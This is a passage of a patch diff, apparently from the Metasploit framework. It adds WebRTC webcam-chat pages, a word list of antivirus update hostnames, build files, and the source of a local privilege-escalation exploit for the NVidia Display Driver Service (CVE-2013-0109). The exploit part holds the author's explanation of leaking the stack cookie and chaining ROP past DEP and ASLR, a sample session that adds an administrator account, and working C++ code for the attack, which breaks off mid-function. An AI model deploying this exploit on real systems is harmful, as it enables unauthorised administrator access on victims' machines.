+	peer.onStreamEnded = function(e) {
+		var video = e.mediaElement;
+		if (video) {
+			video.style.opacity = 0;
+			setTimeout(function() {
+				video.parentNode.removeChild(video);
+			}, 1000);
+		}
+		document.getElementById("message").innerHTML = "The video session has ended.";
+	};
+					
+	function getUserMedia(callback) {
+
+		var hints = {audio:true,video:{
+			optional: [],
+			mandatory: {
+				minWidth: 1280,
+				minHeight: 720,
+				maxWidth: 1920,
+				maxHeight: 1080,
+				minAspectRatio: 1.77
+			}
+		}};
+
+		navigator.getUserMedia(hints,function(stream) {
+			var video = document.createElement('video');
+			video.src = URL.createObjectURL(stream);
+
+			peer.onStreamAdded({
+				mediaElement: video,
+				userid: 'self',
+				stream: stream
+			});
+						
+			callback(stream);
+		});
+	}
+</script>
+</head>
+<body>
+
+<div class="container">
+	<div class="windowa" id="windowa">
+	</div>
+	<div class="windowb" id="windowb">
+	</div>
+	<div class="windowc">
+		<b>Session status (=RHOST=):</b><p></p>
+		<span id="message"></span>
+	</div>
+</div>
+<div class="footer">
+	<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
+</div>
+</body>
+</html>
--- a/data/webcam/api.js
+++ b/data/webcam/api.js
@ -0,0 +1,363 @@
+// Muaz Khan     - https://github.com/muaz-khan
+// MIT License   - https://www.webrtc-experiment.com/licence/
+// Documentation - https://github.com/muaz-khan/WebRTC-Experiment/tree/master/websocket
+
+(function () {
+
+    window.PeerConnection = function (socketURL, userid) {
+        this.userid = userid || getToken();
+        this.peers = {};
+
+        if (!socketURL) throw 'Socket-URL is mandatory.';
+
+        new Signaler(this, socketURL);
+        
+        this.addStream = function(stream) { 
+            this.MediaStream = stream;
+        };
+    };
+
+    function Signaler(root, socketURL) {
+        var self = this;
+
+        root.startBroadcasting = function () {
+            if(!root.MediaStream) throw 'Offerer must have media stream.';
+            
+            (function transmit() {
+                socket.send({
+                    userid: root.userid,
+                    broadcasting: true
+                });
+                !self.participantFound &&
+                    !self.stopBroadcasting &&
+                        setTimeout(transmit, 3000);
+            })();
+        };
+
+        root.sendParticipationRequest = function (userid) {
+            socket.send({
+                participationRequest: true,
+                userid: root.userid,
+                to: userid
+            });
+        };
+
+        // if someone shared SDP
+        this.onsdp = function (message) {
+            var sdp = message.sdp;
+
+            if (sdp.type == 'offer') {
+                root.peers[message.userid] = Answer.createAnswer(merge(options, {
+                    MediaStream: root.MediaStream,
+                    sdp: sdp
+                }));
+            }
+
+            if (sdp.type == 'answer') {
+                root.peers[message.userid].setRemoteDescription(sdp);
+            }
+        };
+
+        root.acceptRequest = function (userid) {
+            root.peers[userid] = Offer.createOffer(merge(options, {
+                MediaStream: root.MediaStream
+            }));
+        };
+
+        var candidates = [];
+        // if someone shared ICE
+        this.onice = function (message) {
+            var peer = root.peers[message.userid];
+            if (peer) {
+                peer.addIceCandidate(message.candidate);
+                for (var i = 0; i < candidates.length; i++) {
+                    peer.addIceCandidate(candidates[i]);
+                }
+                candidates = [];
+            } else candidates.push(candidates);
+        };
+
+        // it is passed over Offer/Answer objects for reusability
+        var options = {
+            onsdp: function (sdp) {
+                socket.send({
+                    userid: root.userid,
+                    sdp: sdp,
+                    to: root.participant
+                });
+            },
+            onicecandidate: function (candidate) {
+                socket.send({
+                    userid: root.userid,
+                    candidate: candidate,
+                    to: root.participant
+                });
+            },
+            onStreamAdded: function (stream) {
+                console.debug('onStreamAdded', '>>>>>>', stream);
+
+                stream.onended = function () {
+                    if (root.onStreamEnded) root.onStreamEnded(streamObject);
+                };
+
+                var mediaElement = document.createElement('video');
+                mediaElement.id = root.participant;
+                mediaElement[isFirefox ? 'mozSrcObject' : 'src'] = isFirefox ? stream : window.webkitURL.createObjectURL(stream);
+                mediaElement.autoplay = true;
+                mediaElement.controls = true;
+                mediaElement.play();
+
+                var streamObject = {
+                    mediaElement: mediaElement,
+                    stream: stream,
+                    userid: root.participant,
+                    type: 'remote'
+                };
+
+                function afterRemoteStreamStartedFlowing() {
+                    if (!root.onStreamAdded) return;
+                    root.onStreamAdded(streamObject);
+                }
+
+                afterRemoteStreamStartedFlowing();
+            }
+        };
+
+        function closePeerConnections() {
+            self.stopBroadcasting = true;
+            if (root.MediaStream) root.MediaStream.stop();
+
+            for (var userid in root.peers) {
+                root.peers[userid].peer.close();
+            }
+            root.peers = {};
+        }
+
+        root.close = function () {
+            socket.send({
+                userLeft: true,
+                userid: root.userid,
+                to: root.participant
+            });
+            closePeerConnections();
+        };
+
+        window.onbeforeunload = function () {
+            root.close();
+        };
+
+        window.onkeyup = function (e) {
+            if (e.keyCode == 116)
+                root.close();
+        };
+        
+        function onmessage(e) {
+            var message = JSON.parse(e.data);
+
+            if (message.userid == root.userid) return;
+            root.participant = message.userid;
+
+            // for pretty logging
+            console.debug(JSON.stringify(message, function (key, value) {
+                if (value && value.sdp) {
+                    console.log(value.sdp.type, '---', value.sdp.sdp);
+                    return '';
+                } else return value;
+            }, '---'));
+
+            // if someone shared SDP
+            if (message.sdp && message.to == root.userid) {
+                self.onsdp(message);
+            }
+
+            // if someone shared ICE
+            if (message.candidate && message.to == root.userid) {
+                self.onice(message);
+            }
+
+            // if someone sent participation request
+            if (message.participationRequest && message.to == root.userid) {
+                self.participantFound = true;
+
+                if (root.onParticipationRequest) {
+                    root.onParticipationRequest(message.userid);
+                } else root.acceptRequest(message.userid);
+            }
+
+            // if someone is broadcasting himself!
+            if (message.broadcasting && root.onUserFound) {
+                root.onUserFound(message.userid);
+            }
+
+            if (message.userLeft && message.to == root.userid) {
+                closePeerConnections();
+            }
+        }
+
+        var socket = socketURL;
+        if(typeof socketURL == 'string') {
+            socket = new WebSocket(socketURL);
+            socket.push = socket.send;
+            socket.send = function (data) {
+                socket.push(JSON.stringify(data));
+            };
+
+            socket.onopen = function () {
+                console.log('websocket connection opened.');
+            };
+        }
+        socket.onmessage = onmessage;
+    }
+
+    var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
+    var RTCSessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
+    var RTCIceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
+
+    navigator.getUserMedia = navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
+    window.URL = window.webkitURL || window.URL;
+
+    var isFirefox = !!navigator.mozGetUserMedia;
+    var isChrome = !!navigator.webkitGetUserMedia;
+
+    var STUN = {
+        url: isChrome ? 'stun:stun.l.google.com:19302' : 'stun:23.21.150.121'
+    };
+
+    var TURN = {
+        url: 'turn:homeo@turn.bistri.com:80',
+        credential: 'homeo'
+    };
+
+    var iceServers = {
+        iceServers: [STUN]
+    };
+
+    if (isChrome) {
+        if (parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2]) >= 28)
+            TURN = {
+                url: 'turn:turn.bistri.com:80',
+                credential: 'homeo',
+                username: 'homeo'
+            };
+
+        iceServers.iceServers = [STUN, TURN];
+    }
+
+    var optionalArgument = {
+        optional: [{
+            DtlsSrtpKeyAgreement: true
+        }]
+    };
+
+    var offerAnswerConstraints = {
+        optional: [],
+        mandatory: {
+            OfferToReceiveAudio: true,
+            OfferToReceiveVideo: true
+        }
+    };
+
+    function getToken() {
+        return Math.round(Math.random() * 9999999999) + 9999999999;
+    }
+    
+    function onSdpError() {}
+
+    // var offer = Offer.createOffer(config);
+    // offer.setRemoteDescription(sdp);
+    // offer.addIceCandidate(candidate);
+    var Offer = {
+        createOffer: function (config) {
+            var peer = new RTCPeerConnection(iceServers, optionalArgument);
+
+            if (config.MediaStream) peer.addStream(config.MediaStream);
+            peer.onaddstream = function (event) {
+                config.onStreamAdded(event.stream);
+            };
+
+            peer.onicecandidate = function (event) {
+                if (event.candidate)
+                    config.onicecandidate(event.candidate);
+            };
+
+            peer.createOffer(function (sdp) {
+                peer.setLocalDescription(sdp);
+                config.onsdp(sdp);
+            }, onSdpError, offerAnswerConstraints);
+
+            this.peer = peer;
+
+            return this;
+        },
+        setRemoteDescription: function (sdp) {
+            this.peer.setRemoteDescription(new RTCSessionDescription(sdp));
+        },
+        addIceCandidate: function (candidate) {
+            this.peer.addIceCandidate(new RTCIceCandidate({
+                sdpMLineIndex: candidate.sdpMLineIndex,
+                candidate: candidate.candidate
+            }));
+        }
+    };
+
+    // var answer = Answer.createAnswer(config);
+    // answer.setRemoteDescription(sdp);
+    // answer.addIceCandidate(candidate);
+    var Answer = {
+        createAnswer: function (config) {
+            var peer = new RTCPeerConnection(iceServers, optionalArgument);
+
+            if (config.MediaStream) peer.addStream(config.MediaStream);
+            peer.onaddstream = function (event) {
+                config.onStreamAdded(event.stream);
+            };
+
+            peer.onicecandidate = function (event) {
+                if (event.candidate)
+                    config.onicecandidate(event.candidate);
+            };
+
+            peer.setRemoteDescription(new RTCSessionDescription(config.sdp));
+            peer.createAnswer(function (sdp) {
+                peer.setLocalDescription(sdp);
+                config.onsdp(sdp);
+            }, onSdpError, offerAnswerConstraints);
+
+            this.peer = peer;
+
+            return this;
+        },
+        addIceCandidate: function (candidate) {
+            this.peer.addIceCandidate(new RTCIceCandidate({
+                sdpMLineIndex: candidate.sdpMLineIndex,
+                candidate: candidate.candidate
+            }));
+        }
+    };
+
+    function merge(mergein, mergeto) {
+        for (var t in mergeto) {
+            mergein[t] = mergeto[t];
+        }
+        return mergein;
+    }
+    
+    window.URL = window.webkitURL || window.URL;
+    navigator.getMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+    navigator.getUserMedia = function(hints, onsuccess, onfailure) {
+        if(!hints) hints = {audio:true,video:true};
+        if(!onsuccess) throw 'Second argument is mandatory. navigator.getUserMedia(hints,onsuccess,onfailure)';
+        
+        navigator.getMedia(hints, _onsuccess, _onfailure);
+        
+        function _onsuccess(stream) {
+            onsuccess(stream);
+        }
+        
+        function _onfailure(e) {
+            if(onfailure) onfailure(e);
+            else throw Error('getUserMedia failed: ' + JSON.stringify(e, null, '\t'));
+        }
+    };
+    
+})();
--- a/data/webcam/offerer.html
+++ b/data/webcam/offerer.html
@ -0,0 +1,195 @@
+<html>
+<head>
+	<title>Video session</title>
+	<style type="text/css">
+		div.dot1 {
+			position: absolute;
+			width: 20px;
+			height: 20px;
+			margin: 30px auto 0;
+			border-radius: 50px;
+			background-color: red;
+			top: 150;
+			left: 470;
+		}
+
+		div.dot2 {
+			position: absolute;
+			width: 20px;
+			height: 20px;
+			margin: 30px auto 0;
+			border-radius: 50px;
+			background-color: red;
+			top: 150;
+			left: 505;
+		}
+
+		div.dot3 {
+			position: absolute;
+			width: 20px;
+			height: 20px;
+			margin: 30px auto 0;
+			border-radius: 50px;
+			background-color: red;
+			top: 150;
+			left: 540;
+		}
+
+		div.windowa {
+			height: 340px;
+			width: 420px;
+			border-radius: 15px;
+			-moz-border-raidus: 15px;
+			background-color: black;
+			position: absolute;
+			left: 20;
+			padding : 10px;
+			margin-left: auto;
+			margin-right: auto;
+			text-align: center;
+			vertical-align: middle;
+			color: white;
+		}
+
+		div.windowb {
+			height: 340px;
+			width: 420px;
+			border-radius: 15px;
+			-moz-border-raidus: 15px;
+			background-color: black;
+			position: absolute;
+			left: 570;
+			padding : 10px;
+			margin-left: auto;
+			margin-right: auto;
+			text-align: center;
+			vertical-align: middle;
+			color: white;
+		}
+
+		div.windowc {
+			position: absolute;
+			top: 400;
+			left: 60;
+			height: 50px;
+			width: 900px;
+			color: red;
+		}
+
+		div.footer {
+			position: fixed;
+			bottom: 0;
+			width: 100%;
+			padding: 10px;
+		}
+	</style>
+
+	<script src="api.js"> </script>
+	<script>
+		var channel = '=CHANNEL=';
+		var websocket = new WebSocket('ws://=SERVER=');
+
+		websocket.onopen = function() {
+			websocket.push(JSON.stringify({
+				open: true,
+				channel: channel
+			}));
+		};
+
+		websocket.push = websocket.send;
+		websocket.send = function(data) {
+			websocket.push(JSON.stringify({
+				data: data,
+				channel: channel
+			}));
+		};
+
+		var peer = new PeerConnection(websocket, '=OFFERERID=');
+
+		peer.onStreamAdded = function(e) {
+			var video = e.mediaElement;
+			video.setAttribute('width', 420);
+			video.setAttribute('height', 340);
+			video.setAttribute('controls', false);
+			video.volume = 0.5;
+
+			if (e.userid == 'self') {
+				document.getElementById("windowb").appendChild(video);
+			}
+			else {
+				document.getElementById("windowa").appendChild(video);
+				document.getElementById("message").innerHTML = "Session is now active.";
+			}
+
+			video.play();
+		};
+
+		peer.onStreamEnded = function(e) {
+			var video = e.mediaElement;
+			if (video) {
+				video.style.opacity = 0;
+				setTimeout(function() {
+					video.parentNode.removeChild(video);
+				}, 1000);
+			}
+			document.getElementById("message").innerHTML = "The video session has ended.";
+		};
+
+		window.onload = function() {
+			getUserMedia(function(stream) {
+				peer.addStream(stream);
+				peer.startBroadcasting();
+			});
+		};
+
+		function getUserMedia(callback) {
+			var hints = {audio:true,video:{
+				optional: [],
+				mandatory: {
+					minWidth: 1280,
+					minHeight: 720,
+					maxWidth: 1920,
+					maxHeight: 1080,
+					minAspectRatio: 1.77
+				}
+			}};
+
+			navigator.getUserMedia(hints,function(stream) {
+				var video = document.createElement('video');
+				video.src = URL.createObjectURL(stream);
+				peer.onStreamAdded({
+					mediaElement: video,
+					userid: 'self',
+					stream: stream
+				});
+						
+				callback(stream);
+			});
+		}
+	</script>
+</head>
+<body>
+
+<div class="windowa" id="windowa">
+	<b>You peer</b>
+</div>
+
+<div class="dot1"></div>
+<div class="dot2"></div>
+<div class="dot3"></div>
+
+<div class="windowb" id="windowb">
+	<b>You</b>
+</div>
+
+<div class="windowc">
+	<b>Status:</b><p></p>
+	<span id="message">Waiting for your peer to join the video session...</span>
+</div>
+
+<div class="footer">
+	<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
+</div>
+
+</body>
+</html>
--- a/data/wordlists/av-update-urls.txt
+++ b/data/wordlists/av-update-urls.txt
@ -0,0 +1,28 @@
+www.es-web.sophos.com
+www.es-web.sophos.com.edgesuite.net
+www.es-web-2.sophos.com
+www.es-web-2.sophos.com.edgesuite.net
+www.dnl-01.geo.kaspersky.com
+www.downloads2.kaspersky-labs.com
+www.liveupdate.symantecliveupdate.com
+www.liveupdate.symantec.com
+www.update.symantec.com
+www.update.nai.com
+www.download797.avast.com
+www.guru.avg.com
+www.osce8-p.activeupdate.trendmicro.com
+www.forefrontdl.microsoft.com
+es-web.sophos.com
+es-web.sophos.com.edgesuite.net
+es-web-2.sophos.com
+es-web-2.sophos.com.edgesuite.net
+dnl-01.geo.kaspersky.com
+downloads2.kaspersky-labs.com
+liveupdate.symantecliveupdate.com
+liveupdate.symantec.com
+update.symantec.com
+update.nai.com
+download797.avast.com
+guru.avg.com
+osce8-p.activeupdate.trendmicro.com
+forefrontdl.microsoft.com
--- a/data/wordlists/malicious_urls.txt
+++ b/data/wordlists/malicious_urls.txt
--- a/documentation/gendocs.sh
+++ b/documentation/gendocs.sh
@ -1,15 +1 @@
-OPTS="-x .ut.rb -x .ts.rb -x samples -q"
-BASE="$(dirname "$0")"
-MSFDIR="${BASE}/.."
-DOCDIR="${BASE}/api"
-doc=$(which sdoc)
-
-if [ -z $doc ]; then
-    doc=$(which rdoc)
-fi
-
-echo "Using ${doc} for doc generation"
-echo "Putting docs in ${DOCDIR}"
-
-$doc $OPTS -t "Metasploit Documentation" -o ${DOCDIR} ${MSFDIR}/lib/rex ${MSFDIR}/lib/msf
-
+rake yard
--- a/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj
+++ b/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj
@ -70,7 +70,8 @@
      <AdditionalOptions>/ignore:4070</AdditionalOptions>
    </Link>
    <PostBuildEvent>
-      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
+      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
+exit 0</Command>
    </PostBuildEvent>
    <ResourceCompile>
      <PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
--- a/external/source/exploits/cve-2013-0109/make.msbuild
+++ b/external/source/exploits/cve-2013-0109/make.msbuild
@ -0,0 +1,18 @@
+<?xml version="1.0" standalone="yes"?>
+<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <SolutionPath>.\nvidia_nvsvc.sln</SolutionPath>
+  </PropertyGroup>
+
+  <Target Name="all" DependsOnTargets="x86" />
+
+  <Target Name="x86">
+    <Message Text="Building CVE-2013-0109 NVidia nvsvc x86 Release version" />
+    <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
+  </Target>
+
+  <Target Name="x64">
+    <Message Text="NVidia nvsvc is not supported in x64" />
+  </Target>
+</Project>
+
--- a/external/source/exploits/cve-2013-0109/nvidia_nvsvc.sln
+++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc.sln
@ -0,0 +1,22 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2013
+VisualStudioVersion = 12.0.21005.1
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nvidia_nvsvc", "nvidia_nvsvc\nvidia_nvsvc.vcxproj", "{6B3FF768-1F25-49C1-8827-EDEC84D4749F}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Release|Win32 = Release|Win32
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{6B3FF768-1F25-49C1-8827-EDEC84D4749F}.Debug|Win32.ActiveCfg = Debug|Win32
+		{6B3FF768-1F25-49C1-8827-EDEC84D4749F}.Debug|Win32.Build.0 = Debug|Win32
+		{6B3FF768-1F25-49C1-8827-EDEC84D4749F}.Release|Win32.ActiveCfg = Release|Win32
+		{6B3FF768-1F25-49C1-8827-EDEC84D4749F}.Release|Win32.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal
--- a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/dllmain.c
+++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/dllmain.c
@ -0,0 +1,33 @@
+//===============================================================================================//
+// This is a stub for the actual functionality of the DLL.
+//===============================================================================================//
+
+#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
+#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
+#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
+
+#include "nvidia_nvsvc.h"
+
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
+{
+	BOOL bReturnValue = TRUE;
+	switch (dwReason)
+	{
+	case DLL_QUERY_HMODULE:
+		hAppInstance = hinstDLL;
+		if (lpReserved != NULL)
+		{
+			*(HMODULE *)lpReserved = hAppInstance;
+		}
+		break;
+	case DLL_PROCESS_ATTACH:
+		hAppInstance = hinstDLL;
+		elevate_nvidia_nvsvc(lpReserved);
+		break;
+	case DLL_PROCESS_DETACH:
+	case DLL_THREAD_ATTACH:
+	case DLL_THREAD_DETACH:
+		break;
+	}
+	return bReturnValue;
+}
--- a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.cpp
+++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.cpp
@ -0,0 +1,546 @@
+/*
+NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012
+- Bypass DEP + ASLR + /GS + CoE
+=============================================================
+(@peterwintrsmith)
+ 
+ ** Initial release 25/12/12
+ ** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks
+      @seanderegge!
+ 
+Hey all!
+ 
+Here is an interesting exploit for a stack buffer overflow in the NVidia
+Display Driver Service. The service listens on a named pipe (\pipe\nsvr)
+which has a NULL DACL configured, which should mean that any logged on user
+or remote user in a domain context (Windows firewall/file sharing
+permitting) should be able to exploit this vulnerability.
+ 
+The buffer overflow occurs as a result of a bad memmove operation, with the
+stack layout effectively looking like this:
+ 
+[locals]
+[received-data]
+[response-buf]
+[stack cookie]
+[return address]
+[arg space]
+[etc]
+ 
+The memmove copies data from the received-data buffer into the response-buf
+buffer, unchecked. It is possible to control the offset from which the copy
+starts in the received-data buffer by embedding a variable length string -
+which forms part of the protocol message being crafted - as well as the
+number of bytes copied into the response buffer.
+ 
+The amount of data sent back over the named pipe is related to the number
+of bytes copied rather than the maximum number of bytes that the buffer is
+able to safely contain, so it is possible to leak stack data by copying
+from the end of the received-data buffer, through the response-buf buffer
+(which is zeroed first time round, and second time round contains whatever
+was in it beforehand), right to the end of the stack frame (including stack
+cookie and return address).
+ 
+As the entire block of data copied is sent back, the stack cookie and
+nvvsvc.exe base can be determined using the aforementioned process. The
+stack is then trashed, but the function servicing pipe messages won't
+return until the final message has been received, so it doesn't matter too
+much.
+ 
+It is then possible to exploit the bug by sending two further packets of
+data: One containing the leaked stack cookie and a ROP chain dynamically
+generated using offsets from the leaked nvvsvc.exe base (which simply fills
+the response-buf buffer when this data is echoed back) and a second packet
+which contains enough data to trigger an overwrite if data is copied from
+the start of the received-data buffer into the response-buf (including the
+data we primed the latter to contain - stack cookie and ROP chain).
+ 
+Allowing the function to then return leads to execution of our ROP chain,
+and our strategically placed Metasploit net user /add shellcode! We get
+continuation of execution for free because the process spins up a thread
+to handle each new connection, and there are no deadlocks etc.
+ 
+I've included two ROP chains, one which works against the nvvsvc.exe
+running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers
+from the Dell site, and one which works against the latest version of the
+drivers for the same card, from:
+http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m
+http://www.geforce.co.uk/drivers/results/54709
+ 
+Hope you find this interesting - it's a fun bug to play with!
+ 
+- Sample Session - 
+ 
+ 
+C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
+Alias name     administrators
+Comment        Administrators have complete and unrestricted access to the computer/domain
+ 
+Members
+ 
+-------------------------------------------------------------------------------
+Administrator
+Peter
+The command completed successfully.
+ 
+ 
+C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
+  ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
+                 [@peterwintrsmith]
+ - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
+ 
+        Action 1 of 9:  - CONNECT
+ 
+        Action 2 of 9:  - CLIENT => SERVER
+                Written 16416 (0x4020) characters to pipe
+ 
+        Action 3 of 9:   - SERVER => CLIENT
+                Read 16504 (0x4078) characters from pipe
+ 
+        Action 4 of 9: Building exploit ...
+                 => Stack cookie 0xe2e2893340d4:
+                 => nvvsvc.exe base 0x13fb90000:
+ 
+        Action 5 of 9:  - CLIENT => SERVER
+                Written 16416 (0x4020) characters to pipe
+ 
+        Action 6 of 9:   - SERVER => CLIENT
+                Read 16384 (0x4000) characters from pipe
+ 
+        Action 7 of 9:  - CLIENT => SERVER
+                Written 16416 (0x4020) characters to pipe
+ 
+        Action 8 of 9:   - SERVER => CLIENT
+                Read 16896 (0x4200) characters from pipe
+ 
+        Action 9 of 9:  - DISCONNECT
+ 
+C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
+Alias name     administrators
+Comment        Administrators have complete and unrestricted access to the computer/domain
+ 
+Members
+ 
+-------------------------------------------------------------------------------
+Administrator
+Peter
+r00t
+The command completed successfully.
+ 
+ 
+C:\Users\Peter\Desktop\NVDelMe1>
+ 
+*/
+
+#include <Windows.h>
+#include <stdio.h>
+extern "C" {
+#include "nvidia_nvsvc.h"
+}
+
+enum EProtocolAction
+{
+    ProtocolAction_Connect = 0,
+    ProtocolAction_Receive,
+    ProtocolAction_Send,
+    ProtocolAction_Disconnect,
+    ProtocolAction_ReadCookie,
+};
+
+typedef struct
+{
+    EProtocolAction Action;
+    PBYTE Buf;
+    DWORD Length;
+} ProtocolMessage;
+
+const int GENERIC_BUF_LENGTH = 0x10000;
+
+#define WriteByte(val)    {buf[offs] = val; offs += 1;}
+#define WriteWord(val)    {*(WORD *)(buf + offs) = val; offs += 2;}
+#define WriteDword(val)    {*(DWORD *)(buf + offs) = val; offs += 4;}
+#define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;}
+#define BufRemaining()    (sizeof(buf) - offs)
+
+DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer)
+{
+	DWORD dwWritten = 0;
+
+	if (WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL))
+	{
+		return dwWritten;
+	}
+
+	return 0;
+}
+
+DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE)
+{
+	DWORD dwRead = 0, dwAvailable = 0;
+
+	if (bTimeout)
+	{
+		for (DWORD i = 0; i < 30; i++)
+		{
+			if (!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable, NULL))
+			{
+				goto Cleanup;
+			}
+
+			if (dwAvailable)
+			{
+				break;
+			}
+
+			Sleep(100);
+		}
+
+		if (!dwAvailable)
+		{
+			goto Cleanup;
+		}
+	}
+
+	if (!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead, NULL))
+	{
+		goto Cleanup;
+	}
+
+Cleanup:
+	return dwRead;
+}
+
+HANDLE EstablishPipeConnection(char *pszPipe)
+{
+	HANDLE hPipe = CreateFileA(
+		pszPipe,
+		GENERIC_READ | GENERIC_WRITE,
+		0,
+		NULL,
+		OPEN_EXISTING,
+		0,
+		NULL
+		);
+
+	if (hPipe == INVALID_HANDLE_VALUE)
+	{
+		return NULL;
+	}
+
+	return hPipe;
+}
+
+BYTE *BuildMalicious_LeakStack()
+{
+    static BYTE buf[0x4020] = {0};
+    UINT offs = 0;
+
+    WriteWord(0x52);
+
+    for(UINT i=0; i<0x2000; i++)
+        WriteWord(0x41);
+
+    WriteWord(0);
+
+    WriteDword(0);
+    WriteDword(0x4078);
+
+    WriteDword(0x41414141);
+    WriteDword(0x41414141);
+    WriteDword(0x41414141);
+    WriteDword(0x41414141);
+    WriteDword(0x41414141);
+
+    return buf;
+}
+
+BYTE *BuildMalicious_FillBuf()
+{
+    static BYTE buf[0x4020] = {0};
+    UINT offs = 0;
+
+    WriteWord(0x52);
+    WriteWord(0); // string
+
+    WriteDword(0);
+    WriteDword(0x4000);
+
+    while(BufRemaining())
+        WriteDword(0x43434343);
+
+    return buf;
+}
+
+BYTE *BuildMalicious_OverwriteStack()
+{
+	static BYTE buf[0x4020] = { 0 };
+	UINT offs = 0;
+
+	WriteWord(0x52);
+	WriteWord(0); // string
+
+	WriteDword(0);
+	WriteDword(0x4340); // enough to copy shellcode too
+
+	while (BufRemaining())
+	{
+		WriteDword(0x42424242);
+	}
+
+	return buf;
+}
+
+/*!
+ * @brief Entry point for the exploit code.
+ * @param payload Pointer to the payload memory, which must be NULL terminated.
+ */
+VOID elevate_nvidia_nvsvc(LPVOID payload)
+{
+	SIZE_T payloadLen = strlen((char*)payload) + 1;
+	DWORD dwReturnCode = 1, dwBytesInOut = 0;
+	HANDLE hPipe = NULL;
+
+	static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = { 0 };
+
+	memset(rgReadBuf, 0, sizeof(rgReadBuf));
+
+	ProtocolMessage rgConvoMsg[] =
+	{
+		{ ProtocolAction_Connect, NULL, 0 },
+		{ ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020 },
+		{ ProtocolAction_Receive, { 0 }, 0x4200 },
+		{ ProtocolAction_ReadCookie, { 0 }, 0 },
+		{ ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020 },
+		{ ProtocolAction_Receive, { 0 }, 0x4000 },
+		{ ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020 },
+		{ ProtocolAction_Receive, { 0 }, 0x4200 },
+		{ ProtocolAction_Disconnect, NULL, 0 },
+	};
+
+	DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0;
+	BOOL bTryAgain = FALSE;
+	char szPipe[256] =  "\\\\.\\pipe\\nvsr";
+
+	// We could renable remote hosts to target other devices on network?!
+	//    sprintf(szPipe, "\\\\%s\\pipe\\nvsr", argv[1]);
+
+	while (i < dwNumberOfMessages)
+	{
+		printf("\n\tAction %u of %u: ", i + 1, dwNumberOfMessages);
+
+		switch (rgConvoMsg[i].Action)
+		{
+		case ProtocolAction_Connect:
+			printf(" - CONNECT\n");
+
+			hPipe = EstablishPipeConnection(szPipe);
+			if (!hPipe)
+			{
+				printf("!! Unable to create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(), GetLastError());
+				goto Cleanup;
+			}
+
+			break;
+		case ProtocolAction_Disconnect:
+			printf(" - DISCONNECT\n");
+
+			CloseHandle(hPipe);
+			hPipe = NULL;
+
+			break;
+		case ProtocolAction_Send:
+			printf(" - CLIENT => SERVER\n");
+
+			if (!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length)))
+			{
+				printf("!! Error writing to pipe\n");
+				goto Cleanup;
+			}
+
+			printf("\t\tWritten %u (0x%x) characters to pipe\n", dwBytesInOut, dwBytesInOut);
+
+			break;
+		case ProtocolAction_Receive:
+			printf("\t - SERVER => CLIENT\n");
+
+			if (!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE)))
+			{
+				printf("!! Error reading from pipe (at least, no data on pipe)\n");
+				goto Cleanup;
+			}
+
